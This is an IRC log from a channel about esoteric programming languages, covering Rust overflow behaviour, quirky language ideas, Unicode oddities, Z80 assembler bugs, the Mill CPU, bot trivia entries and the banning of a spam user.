21:00:45 <shachaf> http://huonw.github.io/blog/2016/04/myths-and-legends-about-integer-overflow-in-rust/ says it's a myth.
21:00:53 <shachaf> "in release mode, overflow is not checked and is specified to wrap as two’s complement."
21:01:58 <\oren\> the language specification differs when -O is passed?
21:02:20 <shachaf> This sounds more like -DNDEBUG
21:02:23 <int-e> Well that's still far better than C's undefined behavior.
21:02:41 <shachaf> "in debug mode, arithmetic (+, -, etc.) on signed and unsigned primitive integers is checked for overflow, panicking if it occurs, and,"
21:03:13 <int-e> (which has led to really dangerous optimizations by gcc at least)
21:04:01 <\oren\> -O changes the actual behaviour of a program, that is so wrong
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21:04:58 <Taneb> \oren\, it's checked on debug mode, wrapping on release
21:05:11 <shachaf> OK, I'm not sure, I know nothing about Rust.
21:06:08 <\oren\> shachaf: well, from tests, it appears that -O makes it do wrapping
21:06:26 <int-e> (the C standard allows a compiler to optimize x+y < x to y < 0 if x and y are of type int; it sounds like Rust doesn't do that.)
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21:06:33 <Taneb> \oren\, the idea being, when you're debugging you want to find integer overflows
21:06:52 <Taneb> But when it's released you want it as fast as possible, and wrapping is what makes that happen on Rust's target architectures
21:07:23 <\oren\> Taneb: is there a "compile fast but have conistent semantics" mode?
21:09:02 <\oren\> or perhaps a "i8withwrap" type?
21:10:15 <Taneb> There is a one of those
21:10:52 <Taneb> \oren\, https://doc.rust-lang.org/std/num/struct.Wrapping.html
21:12:23 <\oren\> I still don't think -O should disable the warning for "127i8+1"
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21:24:25 <\oren\> println!("{}",Wrapping(127i8)+1); still fails miserably
21:26:25 <\oren\> it claims that noone bothered to implement the + operator in this case
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21:34:17 <\oren\> geez, this Wrapping<> thing is really incomplete
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21:46:08 <hppavilion[1]> I'm writing Python and I just created a singleton class
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23:22:22 <rdococ> /\/\ activating the binary-treeforce :P
23:22:30 <rdococ> (if you use a monospaced font)
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23:26:35 <ais523> it actually works in my proportional font too
23:26:41 <ais523> looks like / and space happen to be the same width
23:27:08 <HackEgo> [wiki] [[Rule]] https://esolangs.org/w/index.php?diff=51796&oldid=51794 * Rdococ * (+137) /* Squaration */ ''simpler''
23:33:36 <rdococ> ais523: how do you think flow control should be implemented in a language that operates on a slide rule?
23:34:08 <ais523> probably as simply as possible, there's no obvious way to tie it into the storage
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23:34:13 <ais523> unless, I guess, the program's written on one of the rules?
23:34:17 <ais523> and you can slide it to move the IP aroudn
23:34:29 <rdococ> I actually did have that idea, funnily enough.
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00:00:30 <rdococ> I've heard that Super Mario Maker is Turing Complete, but it's actually a Bounded Storage Machine.
00:08:47 <alercah> so are most "turing complete" languages
00:13:09 <boily> his523, rdochelloc, he\\oren\, hellorcah!
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00:35:54 <rdococ> alercah: Some of them. Many are indeed turing complete (they don't specify a bounded storage space), but all of their implementations are obviously not.
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01:07:42 <boily> alercah: filed my taxes! yay for Impôt Expert!
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01:37:01 <HackEgo> moo//Moo is the sound made by a cow as it freezes.
01:40:26 <Zarutian> boily: which country do you file your taxes in?
01:42:33 <HackEgo> canaima//Canaima is a secret Venezuelan project to overrun #esoteric with incomprehensible people who have no idea why they're here.
01:43:03 <sdhand> I don't think I'm incomprehensible
01:44:04 <shachaf> You don't seem very canaima either.
01:45:02 <HackEgo> companion cube//There's cake inside it. Tear it apart, rip open your companion, and extract the delicious, delicious cake...
01:45:10 <boily> Zarutellon. Canada, and Québec at the same time, because stupidity.
01:45:34 <shachaf> I still don't know how to pronounce that province.
01:45:51 <quintopia> but once you do national tax, provincial tax is trivial eh
01:45:59 <boily> sdhellond. who are you?
01:46:23 <boily> helloochaf. it's pronounced as it is written, but forget the «u».
01:46:28 <quintopia> someone whose answer to the question we know not
01:46:52 <shachaf> you can't just pop the question as soon as you meet someone
01:46:56 <shachaf> you gotta ease into it, yo
01:47:20 <boily> I'm not the questioning sdhand yet, just priming them >:D
01:47:39 <quintopia> sdhand how long do you plan on staying?
01:50:12 <sdhand> I've even spoken to boily I think
01:54:06 <quintopia> i spoke to boily before i was cool
01:57:37 <boily> ultra-short-term post-modernist hipsterism?
02:00:50 <Zarutian> boily: the efficiency of just having one place to file ones taxes is pretty handy here.
02:01:40 <boily> Zarutian: it's become the same here too. online wizard, you fill in all the numbers, next next next, pay CAD 20.00, then *poof* the cheque is in the mail.
02:02:02 <boily> before that, you had to fill everything by hand, twice. much fun and deep philosophical questions.
02:02:37 <boily> e.g.: for line 330, write the number from line 330.
02:03:53 <quintopia> fill in the return you received in 2018
02:05:49 <quintopia> imagine the time travelers tax form
02:05:56 <Zarutian> boily: here, when you open an bank account you usually give the tax authority read only access to its transaction history. Also the tax authority published an text file format for exporting payroll data from accounting software most employers only have to click export and file it via the online tax portal.
02:06:34 <Zarutian> boily: This means that one usually has only go through the tax filing once to see if the prefilled values are correct and possibly correct them.
02:07:50 <boily> you have that option here too, but it involves multiple accounts across the federal and provincial branches, with expiring access codes and the non-null possibility of phone calls.
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02:10:52 <boily> maybe we should all live in Iceland. not too warm, uses þ, has edible sharks, but it lacks maples.
02:11:08 <boily> Zarutian: want maples?
02:12:09 <Zarutian> boily: naah, just find ways to decrease beurocratic inefficiencies.
02:16:39 <boily> time to dream of an abureautic society...
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03:15:59 <rdococ> a few seconds ago, and this happens to me a lot, I look at the clock, and I think, "ooh, it's pi o'clock"
03:21:50 <izabera> i'm in a hotel, it's 3am and i'm hungry
03:22:04 <izabera> i have a 24h takeaway menu in my hands and i'm tempted to order
03:22:08 <izabera> but i don't wanna look gross
03:36:39 <rdococ> create an esoteric takeaway that only serves at 3am and use that?
03:50:19 <rdococ> sound extremely gross so you look relatively good
03:51:42 <rdococ> first the slide-rule-based esolang and now this
03:57:33 <rdococ> it's like a sausage roll but it's chicken
03:58:09 <rdococ> there is function-level and value-level
03:58:43 <rdococ> I want to be able to sum classes together
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03:59:52 <oerjan> . o O ( first you have to have 'sum class )
04:00:38 <oerjan> > [sin, cos, tan] --what's this about functions not being values
04:00:40 <lambdabot> [<Double -> Double>,<Double -> Double>,<Double -> Double>]
04:00:47 <rdococ> . o O ( Integer + String )
04:00:55 <lambdabot> arising from a use of ‘show_M656750360416715938611619’
04:01:19 <rdococ> . o O ( function class )
04:01:22 <oerjan> that instance was dropped
04:02:25 <rdococ> clearly classes are also values
04:03:06 <rdococ> a class takes an ordered list of values and returns an associative array containing key-value pairs
04:03:19 <rdococ> we can be more creative
04:04:35 <rdococ> . o O ( infix unary operators )
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06:53:01 <hppavilion[1]> What octopus-related event occurred circa July 12010?
06:53:49 <hppavilion[1]> Ah, Paul the Octopus got 12 out of 14 predictions correct around that time
06:59:55 <HackEgo> [U+0020 SPACE] [U+0022 QUOTATION MARK] [U+00AD SOFT HYPHEN] [U+0022 QUOTATION MARK] [U+002C COMMA]
07:00:25 <HackEgo> U+00AD SOFT HYPHEN \ UTF-8: c2 ad UTF-16BE: 00ad Decimal: ­ \ \ Category: Cf (Other, Format) \ Bidi: BN (Boundary Neutral)
07:02:24 <hppavilion[1]> According to Google Trends, Japan ranks at № 39 out of 42 countries in terms of popularity of tentacle erotica
07:02:35 <oerjan> (that's the only non-control character in 128-255 range that's illegal in haskell strings)
07:03:05 <oerjan> (so i guess that's really 160-255 range)
07:04:12 <oerjan> hppavilion[1]: i guess to them it's so last century
07:06:45 <hppavilion[1]> oerjan: OTOH, the five oldest companies on earth are all in Japan, the earliest of which dates back to 578 (but was absorbed in 2006, so maybe it doesn't count)
07:10:06 <pikhq> To be fair, SOFT HYPHEN is a pretty weird character.
07:10:08 <oerjan> how many of them are tentacle pornography companies
07:10:47 <pikhq> And my local terminal seems to be rendering it unconditionally.
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07:11:40 <pikhq> The idea, in terminals, is it gets rendered whenever it's put in. It's just supposed to be a hyphen indicating the hyphen was automatically inserted.
07:12:10 <pikhq> (and hence can, semantically, be removed during copy/paste operations)
07:12:55 <oerjan> the next problem character that isn't completely stripped is \888
07:13:16 <pikhq> And that's... Not a syntax error?
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07:13:59 <HackEgo> [U+003E GREATER-THAN SIGN]
07:14:08 <pikhq> Because that's a malformed octal character literal?
07:14:09 <oerjan> it seems to be stripped anyhow
07:14:29 <oerjan> haskell character escapes are decimal
07:14:37 <pikhq> I've been doing more C lately.
07:14:43 <pikhq> Okay, that's just odd, then.
07:14:57 <oerjan> although there is a syntax for using octal
07:15:18 <pikhq> It's been a while.
07:15:53 <pikhq> U+0378 (888 in hex) is an unassigned character currently.
07:16:36 <pikhq> It's in the Greek block, though.
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07:19:06 <oerjan> (there's an empty space for "upper case version of end-of-word sigma", but that wasn't it.
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08:23:15 <rdococ> Is anyone interested in a language where constructs like "repeat (3.5) { stuff }" are valid?
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08:24:06 <rdococ> MoALTz, are you interested in a language where constructs like "repeat (3.5) { stuff }" are valid?
08:24:51 <MoALTz> what does the 3.5 stand for? 3 times and then only half of the block of stuff?
08:25:29 <rdococ> take "x := 1; repeat(3.5) { x := x * 2; }"
08:25:49 <rdococ> it's valid and outputs 11.3137084989848, which is 2^3.5.
08:27:19 <MoALTz> it certainly sounds different :) although you'd need to figure out how the partial repeat applies to statements more complicated than x := x * 2;
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08:51:06 <rdococ> I have figured out printing mechanics for half-repeats.
08:51:22 <rdococ> It yields in gibberish, but still.
08:52:35 <HackEgo> [wiki] [[Ð]] N https://esolangs.org/w/index.php?oldid=51797 * Rdococ * (+2082) Performing something half a time has a meaning now
08:53:30 <rdococ> hppavilion[1]: I've actually created an esolang based on one.
08:53:42 <rdococ> I prefer K's approach to real numbers.
08:54:35 <HackEgo> [wiki] [[User:Rdococ]] https://esolangs.org/w/index.php?diff=51798&oldid=51786 * Rdococ * (+91) /* My hopefully better esoteric languages (2017 CE - infinity CE) */ Ð
08:56:43 <HackEgo> [wiki] [[User:Rdococ]] https://esolangs.org/w/index.php?diff=51799&oldid=51798 * Rdococ * (+2) /* My hopefully better esoteric languages (2017 CE - infinity CE) */ Because I'm atheist
08:57:03 <rdococ> my hopefully better esoteric languages, 12017 HE - ∞+10000 HE.
08:57:41 <rdococ> of course, HE is based on the christian yearkeeping method, and the highly arbitrary number 10 for a base.
09:00:40 <hppavilion[1]> rdococ: Oh, also, "My terrible esoteric programming languages (12,999,999,999 BHE - 12017 HE)"
09:00:52 <hppavilion[1]> (this is the Holocene calendar if you aren't clear)
09:01:17 <HackEgo> [wiki] [[User:Rdococ]] https://esolangs.org/w/index.php?diff=51800&oldid=51799 * Rdococ * (+5) /* My terrible esoteric programming languages (13 billion BCE - 2017 CE) */ Again.
09:01:44 <rdococ> clearly we should be using the rdococ calendar
09:01:51 <rdococ> where this is the year 2981
09:02:48 <Taneb> I think we should base it on who are the consuls of Rome
09:04:22 <Taneb> In the consulship of Sergio Mattarella and Paolo Gentiloni...
09:04:32 <rdococ> Again, sounds ancient.
09:04:41 <Taneb> (using Italy's President and Prime Minister because consuls haven't been a thing for like 1500 years or so)
09:05:12 <rdococ> Depends if they're leap years :P
09:05:22 <HackEgo> [wiki] [[Zeno]] M https://esolangs.org/w/index.php?diff=51801&oldid=51334 * Hppavilion1 * (+216) Added a conclusion section (if rdococ approves)
09:05:50 <rdococ> hppavilion[1], what about my Zeno interpreter?
09:06:19 <rdococ> it's written in powerpoint
09:18:34 <hppavilion[1]> rdococ: BTW, have you made any time travelley languages yet?
09:19:48 <rdococ> well, TwoDucks already exists...
09:20:40 <rdococ> I did have the idea of a decentralized computational system in the multiverse which would enable for super-TC computations because of the presumably infinite number of universes
09:21:15 <rdococ> depends if the number of universes is countable or uncountable
09:23:15 <hppavilion[1]> rdococ: Today I proved that any tree with countably many generations where each node must have countably many children has countably many nodes altogether
09:23:36 <hppavilion[1]> And by extension, the number of finite sequences of natural numbers is countable
09:24:07 * rdococ is pretty sure he already knew
09:24:52 <rdococ> in fact, it was an important part of my STC computational class function
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09:27:44 <rdococ> it proved that a "data tree" with a countably infinite number of nodes is at least as powerful as a countably infinite state machine
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11:27:17 <rdococ> `le//rn wo//wo is the rarely seen word which "won't" is the opposite of.
11:27:21 <HackEgo> Learned 'wo': wo is the rarely seen word which "won't" is the opposite of.
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11:46:25 <HackEgo> hipchat//hipchat is a chat where you can communicate solely by using meme-emoticons but shouldn't.
11:49:30 <HackEgo> relevant info//The large-eyed mouse lemur is a nocturnal tree-dweller.
12:04:58 <HackEgo> cube//Cubes come in all sizes, colors, and materials, but only one shape. The companion cube does not speak, however.
12:05:05 <HackEgo> wo is the rarely seen word which "won't" is the opposite of.
12:05:10 <HackEgo> Wan is the opposite of wan't.
12:06:02 <rdococ> `le//rn match//Can a match box? No, but a tin can.
12:06:05 <HackEgo> Learned 'match': Can a match box? No, but a tin can.
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12:23:44 <hkgit03> So ca and can should be the same
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12:23:58 <rdococ> `le//rn ca//ca is another word for can.
12:23:59 <boily> I could, but I won't. I can't want, and it is so.
12:24:00 <HackEgo> Learned 'ca': ca is another word for can.
12:24:36 <rdococ> reminder: don't wisdom when boily's around
12:24:41 <rdococ> otherwise, bam entry removed
12:24:55 <boily> wisdom right, and it'll.
12:24:55 <rdococ> boily must prefer the lack of wisdom; stupidity
12:25:07 <HackEgo> wisdom is always factually accurate, except for this entry, and, uh, that other one? It started with, like, an ø?
12:25:17 <HackEgo> Your pal Ørjan is oerjan's good twin. He's banned in the IRC RFC for being an invalid character. Sometimes he publishes papers without noticing it.
12:25:36 <hkgit03> That was even in the wisdomme compilation iirc
12:26:05 <boily> rdococ: the PDF, in the topic. I'm the one who compiles it.
12:26:21 <hkgit03> Nice to meet you. Great work. I'm a big fan.
12:26:27 <b_jonas> doesn't the PDF basically have ALL the wisdoms?
12:26:38 <b_jonas> with maybe very few exceptions
12:26:48 <b_jonas> and some are reformatted to barely recognizable
12:26:54 <hkgit03> `le//rn wisdomme/wisdomme is the PDF in the topic. boily is the one who compiles it.
12:26:55 <HackEgo> Usage: `le/[/]rn <key>//<wisdom>
12:27:04 <hkgit03> `le//rn wisdomme//wisdomme is the PDF in the topic. boily is the one who compiles it.
12:27:06 <HackEgo> Learned 'wisdomme': wisdomme is the PDF in the topic. boily is the one who compiles it.
12:27:12 <HackEgo> Phở là một món ăn truyền thống của Việt Nam, cũng có thể xem là một trong những món ăn đặc trưng nhất cho ẩm thực Việt Nam.
12:27:19 <rdococ> Wow. that is very informative.
12:27:20 <b_jonas> that won't do. the topic can change. put the url straight in the wisdom
12:27:22 <HackEgo> I must confess, I know not of what you are speaking.
12:27:44 <rdococ> https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf tells me "Sorry, that file doesn’t live here anymore. It might have been moved or made private."
12:27:50 <hkgit03> `le//rn wisdomme//wisdomme is a PDF that may be in the topic. boily is the one who compiles it.
12:27:51 <rdococ> very wise words, I guess?
12:27:53 <HackEgo> Relearned 'wisdomme': wisdomme is a PDF that may be in the topic. boily is the one who compiles it.
12:28:40 <HackEgo> Nicely formatted wisdoms and quotes book at https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf
12:29:35 <boily> will update the link soon là là.
12:29:37 <hkgit03> `le//rn wisdomme//wisdomme is a PDF that may be in the topic. boily is the one who compiles it. See `? wisdom.pdf
12:29:40 <HackEgo> Relearned 'wisdomme': wisdomme is a PDF that may be in the topic. boily is the one who compiles it. See `? wisdom.pdf
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18:04:24 <\oren\> https://www.youtube.com/watch?v=L-5EIsP10nw
18:06:37 <\oren\> One of the most popular kerbal space program youtubers CHEATED
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18:07:31 <b_jonas> \oren\: what? isn't that a single-player game?
18:09:36 <\oren\> b_jonas: right but he posted a video saying "here's a cool craft I built" without disclosing that he actually used cheats
18:10:20 <int-e> well clearly this will doom the game and its community
18:11:19 <int-e> in fact, we should just wipe all copies of KSP from computers world wide and forget it ever existed. it's the only reasonable way forward.
18:17:05 <\oren\> well fuck it maybe I'll make a really cool video and cheat in a less discoverable manner
18:17:34 <\oren\> such as wings with fucked up lift/drag ratios
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18:31:47 <Taneb> \oren\, here's an idea
18:32:02 <Taneb> You make your cheats so undiscoverable that not even you are sure whether you've cheated or not
18:32:30 <b_jonas> Taneb: yes, that sometimes happens with eso stuff
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18:33:42 <Taneb> Speaking of eso stuff, I have a quantum information processing exam tomorrow morning
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19:07:13 <\oren\> Flugbeschränkungen über der Kölner Innenstadt
19:07:18 <\oren\> No fly zone imposed over Cologne city because of expected battle between fascists and communists
19:08:38 <b_jonas> \oren\: isn't it because of bad weather?
19:08:50 <\oren\> Alternatif fur duetchland is having a congress in cologne and the communists are going to try to block them
19:13:51 <Taneb> It's difficult trying to do this kind of maths when you have no idea what the correct answer ought to look like
19:15:56 <int-e> . o O ( Taneb: do you want the answer as an particle or as a wave... )
19:16:26 <Taneb> int-e, I'd like it as an enlarged density matrix, I think
19:17:04 <int-e> let's start small, how about [1]
19:17:34 <int-e> somehow I haven't done a QC course.
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21:50:50 <HackEgo> [wiki] [[Talk:K]] N https://esolangs.org/w/index.php?oldid=51802 * Hppavilion1 * (+284) Coolang.
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22:57:56 <HackEgo> [wiki] [[String]] https://esolangs.org/w/index.php?diff=51803&oldid=44860 * Hppavilion1 * (+588) Improved a bit
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23:40:18 <HackEgo> alogl//ALOGL is a logarithmic language.
23:45:37 <HackEgo> reference//reference is dangling, sorry.
23:46:33 <shachaf> It's a cheap plastic imitation of oerjan.
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23:52:06 <HackEgo> [wiki] [[Call stack]] M https://esolangs.org/w/index.php?diff=51804&oldid=46437 * Hppavilion1 * (+35) Proper zedly spelling, some phrasing.
23:55:34 <boily> QUINTHELLOPIA, helloochaf.
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23:57:11 <HackEgo> [wiki] [[Control Flow]] https://esolangs.org/w/index.php?diff=51805&oldid=46147 * Hppavilion1 * (+127) /* Computed Goto */ I assume I wrote this; I learned about function pointers later, so it was wrong. So wrong.
23:58:06 <HackEgo> wanring//Wanrings inidcate whne you are donig soemthing dagnerous, liek usnig opreator prceedence.
23:58:09 <HackEgo> pepole who taenb is no/t/elilott, a rabbi, Makr Zukcerberg, Jaems Bodn. Pedning aprpoval: Shgieru Miaymoto.
23:58:20 <HackEgo> kitt//Kitt is the signular of kitten.
23:58:26 <HackEgo> fasle//fasle is a veyr old stcak-baesd lagnuage. For an auhtentic exeprience, run it on an Amgia. Its' alos not treu.
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00:11:16 <boily> AM ZOMBIE. LONG DAY. HOW'S LIFE?
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00:14:20 <HackEgo> icbm//ICBMs are Crumbling Building Missiles. The I is currently classified.
00:14:43 <HackEgo> inverness//Inverness is a city in Scotland. The ring road isn't multiplicative.
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01:11:30 <chatter29> to accept Islam say that i bear witness that there is no deity worthy of worship except Allah and Muhammad peace be upon him is his slave and messenger
01:11:34 <shachaf> sun is not doing oerjan is doing
01:11:38 -!- ChanServ has set channel mode: +o oerjan.
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01:11:59 <shachaf> i bear witness that there is no op worthy of worship except oerjan -- oh
01:12:54 <shachaf> oerjan: have you considered +b chatter*!*@* hth
01:13:01 -!- ChanServ has set channel mode: +o oerjan.
01:14:10 -!- oerjan has set channel mode: +i.
01:14:10 -!- oerjan has set channel mode: +s.
01:14:10 -!- oerjan has set channel mode: +t.
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01:14:25 -!- oerjan has set channel mode: -s.
01:14:25 -!- oerjan has set channel mode: -t.
01:14:44 <ais523> what were you trying to do?
01:14:57 <shachaf> Oh, I guess ais523 is doing too.
01:15:01 <oerjan> ais523: add a ban reason
01:15:15 <ais523> I'm not sure if there is a ban reason field
01:15:16 <oerjan> ("oerjan is not banning", naturally)
01:15:20 <ais523> you can set up a redirect as part of a ban
01:15:31 <shachaf> Only to a channel that exists.
01:15:32 <oerjan> ais523: i vaguely thought $ without # after did that
01:15:46 <ais523> that bot's been attacking hugely many channels
01:15:51 <ais523> so normally Freenode tends to deal with it
01:15:51 <oerjan> but alas, it wants a real channel
01:15:59 -!- oerjan has set channel mode: -o oerjan.
01:16:03 <ais523> you also have to have ops in the target channel
01:16:26 <shachaf> ais523: People in some channel (#freenode?) said it wasn't a bot.
01:16:34 <shachaf> Though I don't remember their evidence for it.
01:16:40 <ais523> just a really dedicated human then?
01:16:46 <oerjan> oh hm i never got it banned
01:16:46 <shachaf> Oh well, so much for banning Lady Chatterley.
01:16:54 -!- ChanServ has set channel mode: +o oerjan.
01:17:03 -!- oerjan has set channel mode: +b chatter*!*@*.
01:17:08 -!- oerjan has set channel mode: -o oerjan.
01:17:27 <shachaf> No obscenity in this channel.
01:17:30 <oerjan> the lack of ban reasons is really annoying, we have a huge ban list and i don't remember who half of them are
01:17:44 <oerjan> (also, the fact that the dates keep getting reset on them)
01:18:18 <ais523> search logs for the last messages by people who match the bans?
01:18:21 <ais523> that'd probably explain why they were banned
01:19:51 <boily> why was the hagbard banned again?
01:20:13 <oerjan> ais523: i'm not logging this channel.
01:20:23 <oerjan> and the tunes logs are not googleable.
01:20:30 <shachaf> You don't download the logs?
01:20:40 <ais523> ah, I vaguely assumed you had a local copy of the logs
01:20:43 <ais523> I do of the older ones
01:20:47 <ais523> haven't updated it in a while, though
01:21:06 <shachaf> Fortunately I didn't store IRC logs on it.
01:21:25 <shachaf> Just a bunch of personal information and things.
01:21:47 <oerjan> boily: i think hagb4rd originally got banned for being obscene, or something. but then he kept evading bans forever, so now that's what he's banned for.
01:23:37 <HackEgo> 1/2:einstein//einstein is a germaneau for "a stone" \ source//Sources for HackEgo can be found at https://bitbucket.org/GregorR/hackbot + https://bitbucket.org/GregorR/multibot + https://bitbucket.org/GregorR/umlbox \ cigar//A cigar is either a penis or just a cigar, dependent on Freud's current mood. \ wat//á¢áµá®áµá« ááµá¥ á¨á
01:23:45 <HackEgo> 2/2:á°á« á¨ááᥠá áááµ á²ááᣠá¨áá°á«áá á¨á¤á ááᢠ\ zzo38//zzo38 is not actually the next version of fungot, much as it may seem.
01:24:38 <HackEgo> 8242:2016-05-31 <hppavilion[1̈]> learn einstein is a germaneau for "a stone"
01:26:17 <oerjan> 420 is over in this timezone
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01:28:28 <shachaf> boily: 80 fumer de la ganja tous les jours
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02:01:15 <\oren\> this is the culmination of human achievement
02:01:18 <\oren\> https://www.youtube.com/watch?v=jcXsLaYzATM
02:02:20 <HackEgo> f=$(find wisdom -ipath "wisdom/*$1*" -type f -print0 | shuf --random-source=/dev/urandom -z -n1); if [ -n "$f" ]; then echo -n "${f#wisdom/}//"; cat "$f"; else echo "That's not wise."; fi | rnooodl
02:02:35 <HackEgo> 9978:2016-12-15 <oerjän> mkx bin/w//wisdom "$@" \ 9977:2016-12-15 <oerjän> rm bin/w \ 9973:2016-12-15 <oerjän> revert \ 9972:2016-12-15 <oerjän> rm bin/w \ 9965:2016-12-15 <oerjän> ` ln -s wisdom bin/w
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02:05:25 <boily> shachaf: oui, mais pourquoi 80?
02:05:46 <fizzie> World's most user-friendly Z80 assembler: silently turns "and a, 123" into "and a".
02:06:38 <ais523> fizzie: does z80's and only take one argument, or something?
02:07:37 <ais523> hmm, normally I'd assume that the other arg is an accumulator in that acse
02:07:40 <fizzie> Unlike some other things like 'add', the 'and' opcode is only capable on targeting the A register, so the syntax is just "and <reg>" or "and <immediate>".
02:07:46 <ais523> but if the accumulator isn't called a, what it is it called?
02:07:59 <ais523> what you meant to write was "and 123", but "and a" is legal-but-useless
02:08:05 <fizzie> Yes. Well, mostly useless.
02:08:32 <fizzie> There's no x86-esque "test" that would *only* set flags.
02:08:33 <shachaf> you should switch to the mill instead hth
02:09:11 <fizzie> Anyway, for most other syntactical errors z80asm does say things like "junk at the end of line", but for this particular one it just silently ignores the second operand.
02:09:16 <ais523> learning about the Mill gave me an inexplicable urge to invent something with the same goals but differing in the details, and better
02:09:25 <ais523> but I didn't get very far on that
02:09:29 <ais523> it did inspire a golflang idea though
02:09:49 <oerjan> . o O ( must...learn...not to click...on \oren\'s links )
02:10:26 <ais523> well, my current browser setup has links on IRC open in the browser which has youtube blocked
02:10:46 <ais523> (I have a second browser which doesn't have youtube blocked, in case I want to look at a video intentionally)
02:10:51 <fizzie> ais523: To add insult to injury, the same assembler also treats "sub a, 123" as "sub 123" instead.
02:11:03 <ais523> this may go some way to explaining why I've never been rickrolled
02:11:08 <\oren\> oerjan: hahahahahahahahahahaahahahahahahahahahahahaahahaha
02:11:13 <ais523> and in fact have only gathered some facts about the rickroll indirectly
02:11:23 <fizzie> ('sub' instruction is in the same boat as 'and'; 'add', 'adc' and 'sbc' are the only ones that need two operands.)
02:11:27 <oerjan> <shachaf> `doag bin/w <-- it was put there to make `5 w simply
02:11:38 <shachaf> oerjan: But why not ln -s?
02:11:41 <\oren\> ais523: in this case is was a video with Kizuna Ai
02:12:16 <shachaf> ais523: You should start a competing startup.
02:13:03 <ais523> nah, I already have way too much work on my hands, and I have a suspicion that I can't do better than the Mill by myself and couldn't do significantly better even with a whole company behind me
02:13:16 <shachaf> You should join the Mill project.
02:15:13 <ais523> isn't it proprietary? I have enough to do as it is
02:15:29 <ais523> and helping out a proprietary project without being paid to do so doesn't seem like a good use of my time
02:15:37 <oerjan> shachaf: because ln -s sometimes breaks in HackEgo, so i avoid it in bin/ where it's never really needed
02:15:44 <\oren\> https://www.youtube.com/watch?v=P9EqgXBbMAc
02:16:38 <shachaf> kmc: you should watch some of the mill videos with all your spare time, they're great
02:16:55 <ais523> shachaf: whether or not mill succeeds will almost certainly depend on factors other than its actual technical merit
02:17:15 <ais523> you need to be something like 10× better than a competitor to beat them on technical merit alone
02:17:21 <kmc> shachaf: link?
02:17:31 <shachaf> http://millcomputing.com/technology/docs/
02:17:41 <kmc> any particular ones?
02:18:20 <shachaf> Hmm, I think the order they're listed in is pretty good.
02:18:26 <shachaf> I don't remember the details of where everything is discussed.
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03:16:10 <HackEgo> [wiki] [[User:Serprex]] M https://esolangs.org/w/index.php?diff=51806&oldid=51782 * Serprex * (+144) codewars: boolfuck in go (my-first-go)
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05:43:13 <Jafet> actually, you can never beat an established architecture on technical merit alone
05:43:50 <Jafet> but risc-v also has some corporate backing, it seems
05:47:28 <Jafet> it also seems like a more boring design than the mill, which might have something to do with that
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05:55:26 <Jafet> hmm, the mill website has also been rewritten to be much more investor-friendly
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06:28:51 <newsham> https://twitter.com/newshtwit/status/855292157686501377
06:30:02 <olsner> hmm, you can write an interpreter for that just by launching android studio and feeding it keypresses
06:30:38 <olsner> and doing "Build and Run" when you reach the end of the file
06:51:01 <HackEgo> [wiki] [[User:Challenger5]] https://esolangs.org/w/index.php?diff=51807&oldid=51379 * Challenger5 * (+13)
06:58:52 <newsham> olsner: yah, thats more or less what i meant.
06:59:12 <newsham> although perhaps renaming key shortcuts with cmd names would make it more readable
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11:35:45 <HackEgo> indentity function//Indentity function is the function that measures how indented source code is.
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11:59:58 <HackEgo> [wiki] [[K]] https://esolangs.org/w/index.php?diff=51808&oldid=51781 * B jonas * (+125)
12:10:08 <HackEgo> b_jonas egy nagyon titokzatos személy. Hollétéről egyelőre nem ismertek.
12:10:48 <boily> b_jonas: b_jellonas. I hope it's valid Hungarian, eh?
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12:22:23 <b_jonas> boily: no. but it's funny because it almost is.
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12:30:47 <FireFly> Égi madár is about the extent of my Hungarian vocabulary
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13:01:32 <myname> so... the single object in the monoid that a monad is... is that the type with the bind function being the arrows to itself?
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13:24:03 <HackEgo> [wiki] [[Ð]] https://esolangs.org/w/index.php?diff=51809&oldid=51797 * Rdococ * (+0) /* Overview */ fixed multiplication function
13:36:12 <HackEgo> ¯\(°_o)/¯ is a misspelling of ¯\(°_o)/¯
13:38:42 -!- int-e has set topic: Motivation: N/A | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf | For extensive phở testing, use #esoteric-blah.
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14:05:30 <b_jonas> Random story that's worth to read about software reverse-engineering: http://www.muppetlabs.com/~breadbox/txt/acre.html
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14:25:47 <b_jonas> hkgit03: yes, it's long. if you want shorter, you can go up to http://www.muppetlabs.com/~breadbox/ which has some other writeups
14:28:14 <hkgit03> I want to have more time... generally
14:38:05 <rdococ> higit03, HackElo, hiname, HireFly
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15:00:23 <HackEgo> You do not have the clearance necessary to view this entry.
15:01:17 <rdococ> `le//rn melon//A melon is a lemon whose spelling is bad.
15:01:19 <HackEgo> Learned 'melon': A melon is a lemon whose spelling is bad.
15:01:41 <rdococ> `le//rn lemon//A lemon is a melon whose spelling is bad.
15:01:43 <HackEgo> Learned 'lemon': A lemon is a melon whose spelling is bad.
15:10:22 <HackEgo> You might expect a reference to recursion here, but to make it interesting you'll actuallSTACK OVERFLOW
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15:56:24 <HackEgo> reference is dangling, sorry.
15:56:31 <HackEgo> A pointer is a dog bred to follow instructions.
15:56:46 <rdococ> Ooh, I just had an idea for an esolang.
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16:43:42 <hppavilion[1]> Is there any way that the phrase "just a theory" can make sense?
16:44:16 <hppavilion[1]> [I think natural selection is whatever the probabilistic equivalent of a theorem is]
16:44:45 <hppavilion[1]> [In stato-probability, I think theorems should have fuzziness to their truth]
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17:29:40 <moony> I wonder what the largest HDD/SSD currently in existence is (in GB/TB size (1024 type not 1000))
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17:48:56 <HackEgo> [wiki] [[K]] https://esolangs.org/w/index.php?diff=51810&oldid=51808 * Rdococ * (+1) Fixed formatting.
17:50:18 <HackEgo> [wiki] [[Talk:K]] https://esolangs.org/w/index.php?diff=51811&oldid=51802 * Rdococ * (+234)
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17:55:27 <HackEgo> [wiki] [[K]] https://esolangs.org/w/index.php?diff=51812&oldid=51810 * Rdococ * (+439) /* The K construct */ Added some more information on applying algebra to generalized continued fractions.
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18:00:26 <rdococ> hppavilion[1], hppavilion[1] !
18:00:33 <rdococ> are you the first or second element of an array?
18:01:12 <hppavilion[1]> rdococ: I've already answered. Also, I'm at a science day today.
18:01:49 <rdococ> hold on a second, all I did was greet someone. sure, I said their name three times, but because they weren't too far apart they don't count as separate pings.
18:02:31 <rdococ> sure, I can be a bit over-the-top sometimes, and I admit that, but then?
18:10:26 <rdococ> . o O (x + (x £ y) = x * y)
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18:24:00 <\oren\> how do I make a website show up better on gogle
